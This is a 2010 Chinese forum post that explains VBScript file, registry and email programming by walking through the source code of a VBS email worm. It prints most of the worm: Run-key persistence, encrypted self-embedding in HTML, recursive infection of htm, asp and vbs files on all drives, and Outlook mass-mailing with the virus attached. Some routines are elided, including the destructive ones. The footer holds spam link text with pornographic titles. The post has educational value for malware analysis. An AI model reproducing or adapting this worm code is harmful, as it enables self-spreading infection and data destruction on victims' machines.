<dfn id="is4kg"></dfn>
  • <ul id="is4kg"></ul>
  • <abbr id="is4kg"></abbr>
  • <ul id="is4kg"></ul>
    <bdo id="is4kg"></bdo>

    Rss & SiteMap

    曙海教育集團(tuán)論壇 http://www.bjzhda.cn

    曙海教育集團(tuán)論壇
    共1 條記錄, 每頁(yè)顯示 10 條, 頁(yè)簽: [1]
    [瀏覽完整版]

    標(biāo)題:通過(guò)對(duì)一個(gè)病毒源碼的分析,了解VBS腳本語(yǔ)言的應(yīng)用-.net教程,VB.net語(yǔ)言

    1樓
    wangxinxin 發(fā)表于:2010-12-14 13:45:43

    讀了《將vbscript拒之“窗”外》一文,心里有些感觸,覺(jué)得是不
    是少了兩個(gè)字,應(yīng)為《將vbscript病毒拒之“窗”外》,vbscript何罪之有,看了
    看文章,確實(shí)是將vbscript拒之了“窗”外,上網(wǎng)查了查相關(guān)資料,也多是文中提
    供的方法,vbscript可真成了冤大頭,可謂是“擋住了蒼蠅,也看不到了蝴蝶”。
      對(duì)于一個(gè)真正充滿(mǎn)熱情的cfan來(lái)說(shuō),不僅要知其然,還要知其所以然,vbs病毒
    真的很可怕嗎?從早期的宏病毒,到有名的“歡樂(lè)時(shí)光”病毒,“愛(ài)情蟲(chóng)”病毒等,
    無(wú)不來(lái)勢(shì)洶洶,其實(shí)許多生勢(shì)多是殺毒軟件商的炒做,讀了前文,筆者覺(jué)得有必要
    為vbs正名,為了讓計(jì)算機(jī)更好,更高效的服務(wù),我們決不應(yīng)該回避優(yōu)秀的軟件工具,
    采取被動(dòng)回避的策略,等同于因噎廢食。
        本文通過(guò)對(duì)一個(gè)vbs病毒源碼的分析,介紹腳本語(yǔ)言在:文件系統(tǒng),注冊(cè)表,以
    及網(wǎng)絡(luò)郵件三個(gè)方面的具體應(yīng)用和技巧。較早的“愛(ài)情蟲(chóng)”等病毒,程序比較粗糙,
    這個(gè)病毒結(jié)合了許多早期病毒的優(yōu)點(diǎn),程序代碼簡(jiǎn)單,高效,充分展示了vbs的全面
    特點(diǎn),因此拿來(lái)與大家共享,如果將這個(gè)源碼作為一個(gè)vbs開(kāi)發(fā)的微型幫助文檔,一
    點(diǎn)不為過(guò)。讀者也可以通過(guò)此文揭開(kāi)此類(lèi)病毒的神秘面紗,不再談虎色變,先進(jìn)的東
    西都不敢用了。殺病毒嗎,筆者還是建議您購(gòu)買(mǎi)一套殺毒軟件(幾十元的價(jià)格,一點(diǎn)
    不貴),然后注意更新病毒庫(kù)就可以了。要學(xué)習(xí) vbs,具有一些vb的基礎(chǔ)知識(shí)就夠了。
    這個(gè)病毒的主要攻擊方法是:通過(guò)網(wǎng)絡(luò)及郵件進(jìn)行傳播,并且不斷地向目標(biāo)郵件服
    務(wù)器發(fā)送大量郵件,并且在傳染過(guò)程中檢測(cè)網(wǎng)絡(luò)主機(jī)的名稱(chēng)中是否有目標(biāo)字符,如
    果有則進(jìn)行破壞攻擊。
    下面將結(jié)合具體的程序逐步進(jìn)行介紹,由于篇幅關(guān)系,對(duì)一些語(yǔ)句進(jìn)行了縮減。
    @ thank you!  make use of other person to get rid of an enemy, white trap _2001
    開(kāi)場(chǎng)白,第一個(gè)字符“@”是這個(gè)病毒傳染時(shí)的標(biāo)記
    on error resume next  這一句很重要,主要是在程序執(zhí)行時(shí)如果發(fā)生錯(cuò)誤就接著
                          執(zhí)行下一條語(yǔ)句,防止談出出錯(cuò)對(duì)話(huà)框,否則就不能偷偷
                          的干壞事啦。這里有一個(gè)技巧,就是在程序編制調(diào)試階段,
                          最好不要這一條語(yǔ)句,因?yàn)樗鼤?huì)忽略錯(cuò)誤,使你的調(diào)試工
                          作不易完成。
    dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str
    dim defpath, smailc, max_size, whb(), title(10)      聲明各個(gè)變量
    smailc = 4
    redim whb(smailc)
    whb(0) = "pr@witehous.gov"
    ...
    whb(3) = "ms@witehous.gov"
    以上這四個(gè)郵件地址就是被攻擊的目標(biāo),當(dāng)然已經(jīng)進(jìn)行了修改,不是真實(shí)地址
    title(0) = "thanks for helping me!"
    ...
    title(8) = "the sitting is open!"
    title(9) = ""
    以上這十條字符串是病毒執(zhí)行時(shí)隨機(jī)顯示在ie標(biāo)題欄里的信息。如果你的ie標(biāo)題欄
    顯示了其中的某條信息,呵呵,一定要接著往下看
    defpath  = "c:\readme.html"          將隨郵件一起發(fā)送的病毒體
    max_size = 100000
    mswkey  = "hkey_local_machine\software\microsoft\windows\"
    hcuw    = "hkey_current_user\software\microsoft\wab\"
    定義兩個(gè)注冊(cè)表的鍵值變量
    main    執(zhí)行主函數(shù)

    下面就是程序中所需的各個(gè)函數(shù)的定義部分,整個(gè)vbs程序?qū)⒂蓋indows目錄中的
    wscript.exe文件解釋執(zhí)行,如果將這個(gè)文件改名或刪除,當(dāng)然vbs程序也就不能執(zhí)行
    了,如此便阻止了病毒的執(zhí)行。在用殺毒軟件殺毒時(shí),往往病毒傳播的速度要比殺
    毒的速度快,如果出現(xiàn)這種情況,應(yīng)該先將wscript.exe文件改名,阻止病毒傳播,
    等殺完毒后,再改回來(lái),不致影響其他正常的vbs程序的執(zhí)行。
    sub main()
    on error resume next
    dim w_s
    w_s= wscript.scriptfullname    得到此文件名稱(chēng)
    if w_s = "" then
    err.clear
    set fso = createobject("scripting.filesystemobject")
    隨著vb編程語(yǔ)言的完善,微軟也推出了一種全新的文件操作方法:文件系
            統(tǒng)對(duì)象(filesystemobject)。這個(gè)對(duì)象,及一些相關(guān)對(duì)象,封裝了所有
            的文件操作。這個(gè)病毒程序基本展示了所有的這些操作,因此,如果您要
            利用vbs進(jìn)行文件操作編程,將這個(gè)病毒源碼作為參考文檔,肯定不錯(cuò)。
    if geterr then
      randomize
      ra = int(rnd() * 7)
      doucment.write title(ra)     
      executemail        打開(kāi)有毒的頁(yè)面
    else     
      executepage        賦值成功,進(jìn)行傳染,攻擊
    end if 
    else
    executevbs                  從病毒體文件“system.dll”提取病毒
    end if
    end sub

    function  geterr()
    本函數(shù)主要是檢測(cè)前一條語(yǔ)句是否成功返回了scripting.filesystemobject對(duì)象,
    內(nèi)容略
    end function

    sub executepage()
    dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
    vbs_str  = getscriptcode("vbscript")      獲得此程序的vbscript code
    js_str  = getjavascript()
    code_str =  makescript(encrypt(vbs_str),true)  進(jìn)行加密處理
    html_str =  makehtml(encrypt(vbs_str), true)
    gf
    wdsf  = w2 & "mdm.vbs"
    wdsf2 = w1 & "profile.vbs"
    wdf  = w2 & "user.dll"
    wdf2  = w2 & "readme.html"
    wdf3  = w2 & "system.dll"

    set vf = fso.opentextfile (wdf, 2, true)
    vf.write vbs_str
    vf.close 
    僅用以上三條語(yǔ)句便完成了病毒體文件 "user.dll"的制作,其中對(duì)象函數(shù)
    opentextfile (wdf, 2, true)的三個(gè)參數(shù)分別是:
    ①文件名,②讀=1或?qū)?2,③文件不存在時(shí)是否創(chuàng)建;
    當(dāng)前,filesystemobject對(duì)于文本文件的操作有較強(qiáng)的優(yōu)勢(shì),對(duì)binary文件
    的操作還有待加強(qiáng)。下面依次生成其他的文件,內(nèi)容略

    writereg  mswkey & "currentversion\run\mdm", wdsf, ""   
    writereg  mswkey & "currentversion\runservices\profile", wdsf2, ""
    將mdm.vbs,profile.vbs兩個(gè)腳本文件加入到啟動(dòng)組當(dāng)中,隨win啟動(dòng)自動(dòng)執(zhí)行
    sendmail
    hackpage
    if testuser then
    killhe
    else
    mk75
    end if
    set adi = fso.drives        所有驅(qū)動(dòng)器對(duì)象
    for each x in adi          遍歷所有的驅(qū)動(dòng)器
    if x.drivestype = 2 or x.drivestype = 3 then 
      call searchhtml(x & "\")
    end if
    next
    if fso.fileexists(defpath) then  fso.deletefile defpath
    如果存在"c:\readme.html" ,就刪除它
    end sub

    sub  executemail()
    此函數(shù)制作病毒文件"c:\readme.html" ,并打開(kāi)它,
    由這一段程序,可以看出vbs的簡(jiǎn)潔高效
    on error resume next
    vbs_str  = getscriptcode("vbscript")
    js_str  = getjavascript()
    set stl = createobject("scriptlet.typelib")
    with stl
    .reset
    .path = defpath
    .doc =  makehtml(encrypt(vbs_str), true)
    .write()
    end with
    window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
    end sub

    sub executevbs()
    on error resume next
    dim x, adi, wvbs, ws, vf
    set fso = createobject("scripting.filesystemobject")
    set wvbs = createobject("wscript.shell")
    gf
    wvbs.regwrite  mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"
    set vf = fso.opentextfile (w2 & "system.dll", 1)
    code_str = vf.readall()
    vf.close
    hackpage
    sendmail
    if testuser then
    killhe
    else
    mk75
    end if
    set adi = fso.drives
    for each x in adi
    if x.drivestype = 2 or x.drivestype = 3 then 
      call searchhtml(x & "\")
    end if 
    next
    end sub

    sub gf()
    w1=fso.getspecialfolder(0) & "\"  獲得windows的路徑名,
    w2=fso.getspecialfolder(1) & "\"  獲得系統(tǒng)文件夾路徑名
    end sub

    function readreg(key_str)
    set tmps = createobject("wscript.shell")
    readreg = tmps.regread(key_str)
    set tmps = nothing
    end function

    function writereg(key_str, newvalue, vtype)
    對(duì)注冊(cè)表進(jìn)行寫(xiě)入操作,讀操作類(lèi)似,可以由此看到vbs的注冊(cè)表操作非常簡(jiǎn)單明了。
    set tmps = createobject("wscript.shell")
    if vtype="" then
    tmps.regwrite key_str, newvalue
    else
    tmps.regwrite key_str, newvalue, vtype
    end if     
    set tmps = nothing      關(guān)閉不用的資源,算是病毒的良好行為
    end function

    function makehtml(sbuffer, ihtml)
    制作html文件的內(nèi)容
    dim ra
    randomize
    ra = int(rnd() * 7)
    makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _
    "<bo" & "ad>" & vbcrlf &  makescript(sbuffer, ihtml) & vbcrlf & _
    "<" & "/boad><" & "/html>"
    end function

    function makescript(codestr, ihtml)
    制作病毒的可執(zhí)行script code
    if ihtml then
    dim docuwrite
    docuwrite = "document.write(<+" & "script language=javascript>\n+" & _
          "jword" & "+\n</" & "+script>);"
    docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\n+" & _
          "nword" & "+\n</" & "+script>);"
    makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
    chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
    chr(34) &  codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
    "jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"
    else   
    makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"
    end if
    end function

    function getscriptcode(languages)
    此函數(shù)獲得運(yùn)行時(shí)的script code,
    內(nèi)容略
    end function

    function getjavascript()
    getjavascript = getscriptcode("javascript")
    end function

    function testuser()
    此函數(shù)通過(guò)鍵值檢測(cè)網(wǎng)絡(luò)主機(jī)是否是攻擊目標(biāo)
    內(nèi)容略
    end function

    function mk75()
    檢測(cè)日期是否符合,如果符合,發(fā)控制臺(tái)命令,使系統(tǒng)癱瘓
    end function

    function sendmail()
    利用outlook發(fā)送攜帶病毒體的郵件,microsoft outlook是可編程桌面信息管理程序,
    outlook可以作為一個(gè)自動(dòng)化服務(wù)器(automation servers),因此很容易實(shí)現(xiàn)自動(dòng)發(fā)送
    郵件,從這里也可以看出,先進(jìn)的東西難免會(huì)被反面利用,如果你也想用程序控制發(fā)送
    郵件,可以仔細(xì)研究下面的代碼,
    on error resume next
    dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
    randomize
    at=fso.getspecialfolder(1) & "\readme.html"    要發(fā)送的附件文件
    set  oa  = createobject("outlook.application") 制作outlook對(duì)象
    set  wab = oa.getnamespace("mapi")            取得outlook mapi名字空間
    for j = 1 to wab.addresslists.count            遍歷所有聯(lián)系人
    eins = wab.addresslists(j)
    wreg=readreg (hcuw  & eins)
    if (wreg="") then wreg = 1
    eaec = eins.addressentries.count      地址表的email記錄數(shù)
    if (eaec > int(wreg)) then
      for x = 1 to eaec
      arrsm = wab.addressentries(x)
      areg = readreg(hcuw & arrsm)
      讀注冊(cè)表中的標(biāo)記,避免重復(fù)發(fā)送
      if (areg = "") then
        set fm = wab.createitem(0)  創(chuàng)建新郵件
        with fm
        ra = int(rnd() * 7)
        .recipients.add arrsm 收件人
        .subject = title(ra) 郵件的標(biāo)題
        .body = title(ra)  郵件的正文內(nèi)容
        .attachments at  病毒文件作為附件
        .send        發(fā)送郵件
        writereg hcuw & arrsm, 1, "reg_dword"
        end with
      end if
      next
    end if   
    writereg hcuw & eins, eaec, "" 
    next
    set oa = nothing
    window.settimeout "sendmail()", 10000  每100秒發(fā)送一次
    end function

    sub searchhtml(path)
    這個(gè)函數(shù)遞歸搜索所有需感染的文件,如果你想批量處理文件,這是非常典型
    的樣例代碼
    on error resume next
    dim pfo, psfo, pf, ps, pfi, ext
    if instr(path, fso.getspecialfolder(2)) > 0  then exit sub
    fso.getspecialfolder(2)獲得臨時(shí)文件夾路徑名,
    fso.getspecialfolder(0)獲得windows的路徑名,
    fso.getspecialfolder(1)獲得系統(tǒng)文件夾路徑名
    set pfo    = fso.getfolder(path)
    set psfo  = pfo.subfolders
    for each  ps in psfo
    searchhtml(ps.path)
    set pf  = ps.files
    for each pfi in pf
      ext = lcase(fso.getextensionname(pfi.path))
      if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
      if code_str<>"" then addhead pfi.path, pfi, 1
      elseif ext= "vbs"  then
      addhead pfi.path,pfi, 2
      end if     
    next
    next
    end sub

    sub killhe()
    看函數(shù)名就知道硬盤(pán)又要倒霉啦
    end sub

    sub hackpage()
    dim fi

    共1 條記錄, 每頁(yè)顯示 10 條, 頁(yè)簽: [1]

    Copyright © 2000 - 2009 曙海教育集團(tuán)
    Powered By 曙海教育集團(tuán) Version 2.2
    Processed in .03125 s, 2 queries.
    主站蜘蛛池模板: 免费能直接在线观看黄的视频| 色五月激情小说| 国产思思99re99在线观看| 乱子伦一级在线现看| 精品伊人久久久大香线蕉欧美| 国产精品萌白酱在线观看| 久久青青草原综合伊人| 真实国产乱子伦沙发睡午觉| 日本大片在线播放在线| 成人免费在线视频网站| 光棍影院y11111| 三个人躁我一个| 日韩欧美色视频在线观看| 全黄性性激高免费视频| 中文字幕看片在线a免费| 欧美三级欧美一级| 日本不卡高字幕在线2019| 国产偷国产偷亚洲高清人| av无码av天天av天天爽| 成年视频在线播放| 亚洲成a人片在线观看www| 粉嫩小泬无遮挡久久久久久| 好紧的小嫩木耳白浆| 亚洲人成自拍网站在线观看| 亚洲欧美校园春色| 91大神亚洲影视在线| 思思久久99热只有精品| 国产成人女人在线观看| fc2成年免费共享视频18| 成人免费在线观看网站| 久久精品国产精品| 欧美日韩一区二区三区麻豆| 吃奶呻吟打开双腿做受动态图| 超碰97人人做人人爱少妇| 天天色天天射天天干| 久久亚洲AV成人无码国产| 久久久精品一区二区三区| 中文字幕一区日韩精品| 荫蒂添的好舒服视频囗交| 国产高清一级片| 一区二区高清在线观看|